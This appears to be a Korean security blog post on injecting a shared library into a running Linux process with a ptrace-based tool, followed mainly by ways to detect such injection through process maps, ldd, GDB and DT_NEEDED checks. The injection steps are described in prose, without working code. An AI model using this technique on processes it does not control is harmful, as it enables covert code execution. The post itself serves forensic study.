저는 /usr/bin/prldnd 라는 프로세스를 선택했습니다. 무슨 일을 하는 프로세스인지는 모르겠습니다.

그냥 아무 이유없이 선택했습니다. ^^;



linux-injects 라는 ptrace를 이용하는 오픈소스 툴을 사용해서 inject를 해보겠습니다.

먼저 inject할 shared library를 만들어볼까요?



아래와 같이 fPIC, shared 옵션을 이용해 컴파일 하면 so 파일을 생성할 수 있습니다.



이제 위에서 만들어진 shared library를 이용해 /usr/bin/prldnd 프로세스에 inject 해 보도록 하겠습니다.

해당 프로세스의 PID는 2537입니다.

ptrace를 사용하기 때문에 inject를 성공시키기 위해서는 반드시 sudo 권한이 필요합니다.




위와 같이 inject에 성공하면 inject에 성공했다는 메세지를 볼 수 있습니다.


그럼 제대로 injection이 되었는지 확인해 볼까요?

/proc 디렉토리의 maps 파일을 읽어 해당 프로세스의 프로세스 맵을 보도록 하겠습니다.



위와 같이 testlib.so 가 해당 프로세스의 주소 공간에 제대로 적재되어 있는 것을 확인할 수 있습니다.



그럼 사용자의 입장에서 실행중인 특정 프로세스에 shared library가 삽입되었는지 어떻게 발견할 수 있을까요?

일반적으로 정상적으로 로딩되는 shared library는 인접한 주소 공간에 자리잡게 됩니다.

또한 바이너리 파일의 DT_NEEDED인 object와의 비교를 통해서도 알 수 있습니다.


아래는 실행중인 prldnd 프로세스에 로딩된 모든 shared library 목록들 중 중복을 제거한 결과입니다.

(이 글을 쓰는 시점에서 리눅스 재부팅으로 프로세스 ID의 변경이 있었습니다.)




ldd 명령으로도 확인이 가능하구요,




GDB로도 확인이 가능합니다.




아래는 /usr/bin/prldnd의 DT_NEED object를 확인해 본 결과입니다.




아쉽게도 DT_NEEDED인 뿐만 아니라 다른 shared object도 프로세스 주소 공간 내에 로딩되어 있어서 DT_NEEDED를 통한 단순 비교는 어렵습니다.


인접한 주소 공간에 로딩되었는지 다시 살펴볼까요?

프로세스 맵을 다시 한번 살펴보겠습니다.



보시다시피 우리가 삽입한 testlib.so 파일이 다른 so 파일과는 동떨어진 주소 공간에 로딩되어 있는 걸 볼 수 있습니다.


위와 같이 프로세스 맵을 보면 의심되는 shared library를 확인하실 수 있습니다. ^^




이번 포스팅은 여기까지 입니다.

다음 포스팅에서는 shared library injection의 가장 기초적인 방법으로 LD_PRELOAD를 이용한 injection 방법에 대해 알아보도록 하겠습니다.


읽어 주셔서 감사합니다.



참고자료

http://backtrace.io/blog/blog/2016/04/22/elf-shared-library-injection-forensics/





'Security' 카테고리의 다른 글

how to exploit window kernel (1)  (0) 2017.07.21
Shared Library Injection (3)  (0) 2016.08.02
Shared Library Injection (2)  (0) 2016.07.25
1
블로그 이미지

Jest